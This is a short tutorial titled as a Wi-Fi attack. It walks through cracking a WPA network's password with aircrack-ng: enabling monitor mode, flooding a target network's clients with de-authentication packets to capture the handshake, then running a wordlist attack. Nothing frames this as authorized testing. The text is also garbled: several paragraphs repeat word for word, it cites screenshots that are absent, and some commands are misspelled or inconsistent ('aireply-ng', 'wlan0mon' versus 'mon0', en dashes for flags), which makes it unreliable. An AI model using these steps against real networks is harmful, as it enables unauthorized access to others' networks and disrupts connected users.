wifi attack using aircrack-ng
Step one - Check the available interfaces
It is to be noted that we only need the Wi-Fi card, so that we can disable others by doing “ifconfig <name of the interface> down”.
Now, we type “airmon-ng start wlan0mon”
It’ll show the message “some processes that could cause trouble”, we’ll simply kill those processes by entering “kill <process ID>”.
Then, put in, “airodump-ng mon0”.
In the screenshot below, the highlighted bssid is our target, named “Anonymous”, the channel is 13 as we can see under the “CH” column.
As our next step we type in, “airodump-ng –c <channel> -w <name> –bssid <bssid> mon0”.
Now, open up a new terminal and type in “aireply-ng -0 0 –a <bssid> mon0”, this command send a de-authentication signal (usually called a de-auth packet) to all the devices connected to that hotspot. Then after a few seconds, we stop the command using “Ctrl+C”. Now, as we can see, the other terminal shows that the WPA Handshake was successfully captured.
Then we do, “aircrack-ng –w <full location of the wordlist> <the file name>”.
If word list is good we can find the key of Wifi.
Now, we type “airmon-ng start wlan0mon”
Then, put in, “airodump-ng mon0”.
In the screenshot below, the highlighted bssid is our target, named “Anonymous”, the channel is 13 as we can see under the “CH” column.
Now, open up a new terminal and type in “aireply-ng -0 0 –a <bssid> mon0”, this command send a de-authentication signal (usually called a de-auth packet) to all the devices connected to that hotspot. Then after a few seconds, we stop the command using “Ctrl+C”. Now, as we can see, the other terminal shows that the WPA Handshake was successfully captured.
If word list is good we can find the key of Wifi.
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